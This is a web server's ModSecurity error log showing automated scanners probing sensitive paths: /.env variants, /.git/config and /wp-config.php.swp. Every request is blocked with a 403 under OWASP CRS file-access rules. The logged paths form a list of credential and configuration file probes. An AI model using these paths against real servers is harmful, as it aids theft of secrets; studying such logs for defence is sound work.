[Sun Jun 29 20:24:47.027676 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.swp&quot;] [unique_id &quot;aGGE798ZUWE-JFfvKe2VTAAAAAs&quot;]
[Sun Jun 29 20:24:47.027908 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.swp&quot;] [unique_id &quot;aGGE798ZUWE-JFfvKe2VTAAAAAs&quot;]
[Sun Jun 29 20:24:47.028093 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.swp&quot;] [unique_id &quot;aGGE798ZUWE-JFfvKe2VTAAAAAs&quot;]
[Sun Jun 29 20:24:47.073646 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /www/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aGGE798ZUWE-JFfvKe2VTgAAAAs&quot;]
[Sun Jun 29 20:24:47.073887 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aGGE798ZUWE-JFfvKe2VTgAAAAs&quot;]
[Sun Jun 29 20:24:47.074079 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aGGE798ZUWE-JFfvKe2VTgAAAAs&quot;]
[Sun Jun 29 20:24:47.096308 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /xampp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xampp/.env&quot;] [unique_id &quot;aGGE798ZUWE-JFfvKe2VTwAAAAs&quot;]
[Sun Jun 29 20:24:47.096559 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xampp/.env&quot;] [unique_id &quot;aGGE798ZUWE-JFfvKe2VTwAAAAs&quot;]
[Sun Jun 29 20:24:47.096749 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xampp/.env&quot;] [unique_id &quot;aGGE798ZUWE-JFfvKe2VTwAAAAs&quot;]
[Sun Jun 29 23:05:38.606977 2025] [:error] [pid 2967919] [client 198.55.98.91:59142] [client 198.55.98.91] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGGqontTxOj9v32ojom6aQAAAAE&quot;]
[Sun Jun 29 23:05:38.607302 2025] [:error] [pid 2967919] [client 198.55.98.91:59142] [client 198.55.98.91] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGGqontTxOj9v32ojom6aQAAAAE&quot;]
[Sun Jun 29 23:05:38.607486 2025] [:error] [pid 2967919] [client 198.55.98.91:59142] [client 198.55.98.91] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGGqontTxOj9v32ojom6aQAAAAE&quot;]
[Mon Jun 30 00:23:45.298998 2025] [:error] [pid 3501028] [client 185.177.72.108:25154] [client 185.177.72.108] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGG88V4rGmi8UrXF-mbRlQAAAAQ&quot;]
[Mon Jun 30 00:23:45.299326 2025] [:error] [pid 3501028] [client 185.177.72.108:25154] [client 185.177.72.108] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGG88V4rGmi8UrXF-mbRlQAAAAQ&quot;]
[Mon Jun 30 00:23:45.299500 2025] [:error] [pid 3501028] [client 185.177.72.108:25154] [client 185.177.72.108] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGG88V4rGmi8UrXF-mbRlQAAAAQ&quot;]
[Mon Jun 30 11:32:24.535944 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aGJZqOohZhhhenRd2sIndAAAAAE&quot;]
[Mon Jun 30 11:32:24.536255 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aGJZqOohZhhhenRd2sIndAAAAAE&quot;]
[Mon Jun 30 11:32:24.536438 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aGJZqOohZhhhenRd2sIndAAAAAE&quot;]
[Mon Jun 30 11:32:24.596227 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aGJZqOohZhhhenRd2sIndQAAAAE&quot;]
[Mon Jun 30 11:32:24.596497 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aGJZqOohZhhhenRd2sIndQAAAAE&quot;]
[Mon Jun 30 11:32:24.596691 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aGJZqOohZhhhenRd2sIndQAAAAE&quot;]
[Mon Jun 30 11:32:24.940984 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aGJZqOohZhhhenRd2sIndgAAAAE&quot;]
[Mon Jun 30 11:32:24.941234 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aGJZqOohZhhhenRd2sIndgAAAAE&quot;]
[Mon Jun 30 11:32:24.941434 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aGJZqOohZhhhenRd2sIndgAAAAE&quot;]
[Mon Jun 30 11:32:25.009351 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aGJZqeohZhhhenRd2sIndwAAAAE&quot;]
[Mon Jun 30 11:32:25.009609 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aGJZqeohZhhhenRd2sIndwAAAAE&quot;]
[Mon Jun 30 11:32:25.009810 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aGJZqeohZhhhenRd2sIndwAAAAE&quot;]
[Mon Jun 30 11:32:25.071020 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aGJZqeohZhhhenRd2sIneAAAAAE&quot;]
[Mon Jun 30 11:32:25.071269 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aGJZqeohZhhhenRd2sIneAAAAAE&quot;]
[Mon Jun 30 11:32:25.071499 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aGJZqeohZhhhenRd2sIneAAAAAE&quot;]
[Mon Jun 30 11:32:25.129355 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aGJZqeohZhhhenRd2sIneQAAAAE&quot;]
[Mon Jun 30 11:32:25.129633 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aGJZqeohZhhhenRd2sIneQAAAAE&quot;]
[Mon Jun 30 11:32:25.129842 2025] [:error] [pid 3576956] [client 185.177.72.179:57380] [client 185.177.72.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aGJZqeohZhhhenRd2sIneQAAAAE&quot;]
